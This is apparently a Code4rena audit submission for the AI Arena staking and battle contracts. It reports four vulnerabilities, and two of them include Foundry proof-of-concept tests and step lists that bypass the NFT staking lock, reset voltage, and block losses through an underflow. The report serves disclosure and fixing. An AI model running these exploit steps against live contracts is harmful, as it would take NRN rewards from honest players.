AI Arena - handsomegiraffe's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439

Vulnerability details

Summary

In RankedBattle.sol, curStakeAtRisk rounds down to zero when staked amount is 999 or less, which allows a user to avoid losing any staked NRN after losing a battle.

Vulnerability Detail

// RankedBattle.sol
function _addResultPoints() {
	...
	// Rounds down to zero when amountStaked < 1000; 
	curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
	...
}

Assume bpsLostPerLoss = 10, if a user staked 999 or less NRN, curStakeAtRisk will always round down to zero. So after losing a battle, there will be no penalty.

amountStaked[tokenId] -= curStakeAtRisk; 

Impact

Although the staked amount for this bug to work is relatively small, NRN value could grow in the future to a point where 1000 NRN is significant.

Also, this bug could open up creative ways for an attacker to game the system by making some of his NFT intentionally lose (i.e. by setting an inferior AI model) but at no cost (i.e. keep his stake of 999 NRN).

Tool used

Manual Review

Recommendation

Consider setting a minimum staked amount.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Summary

In MergingPool.sol, claimRewards() function inputs are not validated, allowing anyone who is eligible for rewards to pass in arbitrary data which could severely break the game mechanics.

Vulnerability Detail

// MergingPool.sol
function claimRewards(
        string[] calldata modelURIs,
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes 
    )

All 3 types of inputs are not validated. But of the three, customAttributes is most likely to break the game if unexpected data is passed in.

customAttributes expect values to represent 'element' and 'weight' of the newly created fighter. From docs, 'element' should be limited to types fire/water/electricity, while 'weight' should be limited to Lightweight/Middleweight/Heavyweight. An attacker could pass in any values e.g. [1000, type(uint256).max] and a newly created fighter would have these custom attributes.

Impact

Game will break or malfunction when calculations are run using these values, potentially giving an attacker an unfair advantage against other players.

From the docs, 'weight' is a primary determinant of other relative strength and weaknesses. Through this bug, the attacker could set weight to an artificially high value and dominate in all battles and severely break the game. Thus, impact is assessed to be high.

Tool used

Manual Review

Recommendation

Validate all function inputs to ensure correct data is passed in. E.g. restricting customAttributes to certain values representing element and weight.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L94

Vulnerability details

Summary

In RankedBattle.sol, a bug exists that allows a user to bypass the NFT staking mechanics to transfer his fighter NFT to another address and gain unlimited voltage for battles.

Vulnerability Detail

By design, when a user stakes NRN, the fighter NFT is locked to prevent transfers. The NFT is unlocked when all NRN is unstaked.

// RankedBattle.sol
function stakeNRN(uint256 amount, uint256 tokenId) external {
	if (amountStaked[tokenId] == 0) {
		_fighterFarmInstance.updateFighterStaking(tokenId, true);
	}
}

function unstakeNRN(uint256 amount, uint256 tokenId) external {
	 if (success) {
		if (amountStaked[tokenId] == 0) {
			_fighterFarmInstance.updateFighterStaking(tokenId, false);
		}
		emit Unstaked(msg.sender, amount);
	}
}

It follows then that if a user battles to earn points, NRN is being staked and therefore the NFT cannot be transferred during a round.

There is however a way to bypass this mechanic: When a user loses all his staked NRN, he could then unstake NRN (passing inamount = 0) which unlocks the NFT. Next, the user can regain staked NRN through winning battles, putting him in a state where 1) he has positive staked NRN, 2) he can earn points from battles, and 3) he is free to transfer his NFT.

Every time the user transfers his NFT to another address that he controls, voltage is reset back to 100, essentially giving the user unlimited battle attempts.

// VoltageManager.sol
    function spendVoltage(address spender, uint8 voltageSpent) public {
        require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
        // @audit When msg.sender is a new address, _replenishVoltage sets voltage = 100
        if (ownerVoltageReplenishTime[spender] <= block.timestamp) {
            _replenishVoltage(spender);
        }

Proof of Concept

Attack steps:

1. Stake NRN -- NFT is locked here
2. Set an inferior AI model to result in constant losses
3. Join battles and lose entire stake
4. Unstake 0 NRN -- NFT is unlocked here
5. Set a superior AI model (e.g. 60% win rate)
6. Join battles and win to recover stake
7. Transfer NFT to new address whenever user has run out of voltage
8. Repeat steps 6-7 as many times as desired

Run this POC in RankedBattle.t.sol

function testUnlimitedVoltage() public {
        address attacker = vm.addr(3);
        address attacker_alt = vm.addr(4);
        _mintFromMergingPool(attacker);
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(1), attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        uint256 stakeAmt = 3_000 * 10 ** 18;
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(stakeAmt, 1);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked
        uint256 newBpsLostPerLoss = 10000;
        _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss);

        // Lose all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), 0);

        // User unstakes
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(0, 1);
        assertTrue(_rankedBattleContract.hasUnstaked(1,0));

        // Attacker has bypassed staked nft mechanism, free to transfer NFT now
        assertFalse(_fighterFarmContract.fighterStaked(1));

        // Attacker uses remaining voltage to play battles
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        for (uint i; i < 9; i++) {
            _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        }

        // Expect revert as 10 games played already, run out of voltage
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        vm.stopPrank();

        // Now do transfer to attacker-controlled EOA
        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, attacker_alt, 1);
        assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt);

        // Now attacker has full voltage again and can continue playing battles for free
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
    }

Impact

Impact assessed to be high because if an attacker has a fighter with >50% win rate, having unlimited battle attempts could result in him winning all points and stealing NRN rewards from other users.

Recommendation

Consider tagging voltage to tokenId instead of msg.sender.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L342

Vulnerability details

Summary

In RankedBattle.sol, user could bypass the NFT staking mechanics to transfer out NFT and avoid losing in battle due to math underflow

Vulnerability Detail

Even after staking NRN (which should lock NFT), a user can transfer his NFT using these steps:

1. Intentionally lose in battles to bring amountStaked to zero, and increase stakeAtRisk
2. Unstake all NRN, passing in amount = 0, which unlocks the NFT allowing transfers
3. User can continue earning points through battles as amountStaked + stakeAtRisk > 0, User switches to a winning model and regain staked NRN
4. Once user has regained staked NRN and has positive points, user can choose to 'lock in' those points and prevent further losses by transferring NFT to another address

When the NFT is transferred to another address, accumulated points for the new address is 0 and the NFT cannot lose battles due to an underflow in _addResultPoints:

// RankedBattle.sol
function _addResultPoints() {
	...
	// if battle result is a loss
	accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
}

Proof of Concept

Attack steps:

1. Stake NRN -- NFT is locked here
2. Set an inferior AI model to result in constant losses
3. Join battles and lose entire stake
4. Unstake 0 NRN -- NFT is unlocked here
5. Set a superior AI model (e.g. 60% win rate)
6. When user has won enough battles to recover NRN stake, transfer NFT to another address
7. All subsequent battles that this NFT fight cannot record a loss due to the underflow

Run this POC in RankedBattle.t.sol

function testAvoidLosing() public {
        address attacker = vm.addr(3);
        address attacker_alt = vm.addr(4);
        _mintFromMergingPool(attacker);
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(1), attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        uint256 stakeAmt = 3_000 * 10 ** 18;
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(stakeAmt, 1);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked
        uint256 newBpsLostPerLoss = 10000;
        _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss);

        // Lose all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), 0);

        // User unstakes
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(0, 1);
        assertTrue(_rankedBattleContract.hasUnstaked(1,0));

        // Attacker has bypassed staked nft mechanism, free to transfer NFT now
        assertFalse(_fighterFarmContract.fighterStaked(1));

        // Simulate multiple wins to regain all staked
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        assertEq(_rankedBattleContract.amountStaked(1), stakeAmt);

        // Now do transfer to attacker-controlled EOA
        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, attacker_alt, 1);
        assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt);

        // Attacker cannot lose, reverts due to underflow when trying to deduct points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);

        // Attacker can keep winning and earn points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
    }

Impact

After transferring the NFT to another address, the user can only win battles and never lose. This would likely earn him very high points at the result of other honest players, essentially stealing NRN rewards from them.

Recommendation

Consider allocating points only on a tokenId basis instead of current design which also allocates to an address fighterOwner. This would prevent underflow.

Assessed type

Under/Overflow